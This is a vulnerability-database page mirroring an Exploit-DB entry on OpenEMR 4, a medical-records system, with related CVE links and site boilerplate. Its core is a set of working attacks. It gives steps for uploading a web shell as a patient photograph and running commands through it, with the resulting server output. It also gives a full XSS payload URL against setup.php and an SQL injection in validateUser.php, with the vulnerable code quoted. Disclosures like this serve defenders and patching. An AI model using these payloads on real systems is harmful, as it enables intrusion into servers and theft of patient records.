Lucene search
+L

OpenEMR 4 - Multiple Vulnerabilities

🗓️ 25 Dec 2011 00:00:00Reported by LevelType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

OpenEMR 4 - Multiple Vulnerabilities including Patient Photograph Arbitrary File Upload, XSS, and validateUser.php SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2011-5161
9 Sep 201221:55
attackerkb
ATTACKERKB
CVE-2011-5160
9 Sep 201221:55
attackerkb
CVE
CVE-2011-5160
9 Sep 201221:00
cve
CVE
CVE-2011-5161
9 Sep 201221:00
cve
CVE
CVE-2012-2115
9 Sep 201221:00
cve
Cvelist
CVE-2011-5160
9 Sep 201221:00
cvelist
Cvelist
CVE-2011-5161
9 Sep 201221:00
cvelist
Cvelist
CVE-2012-2115
9 Sep 201221:00
cvelist
Exploit DB
OpenEMR 4.0.0 - Multiple Vulnerabilities
5 Apr 201100:00
exploitdb
EUVD
EUVD-2011-5060
7 Oct 202500:30
euvd
Rows per page
OpenEMR 4 (Level @ Smash The Stack)
Summary: Patient Photograph Arbitrary File Upload

Initial Comment:
1. Login with valid User/Pass
2. Patient/Client -> Search/New Patient (search for anything)
3. Click Documents -> Patient Photograph
4. Upload Shell

URL: http://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id
EX: http://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id
Output: uid=48(apache) gid=48(apache) groups=48(apache)

first installed SITENAME = default
first installed PATIENTID = 1


OpenEMR 4 (Level @ Smash The Stack)
XSS

http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E


OpenEMR 4 (Level @ Smash The Stack)

Summary: validateUser.php SQL Injection

Initial Comment:
http://www.target.com/oe/interface/login/validateUser.php?u=test'

validateUser.php:
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.02149
23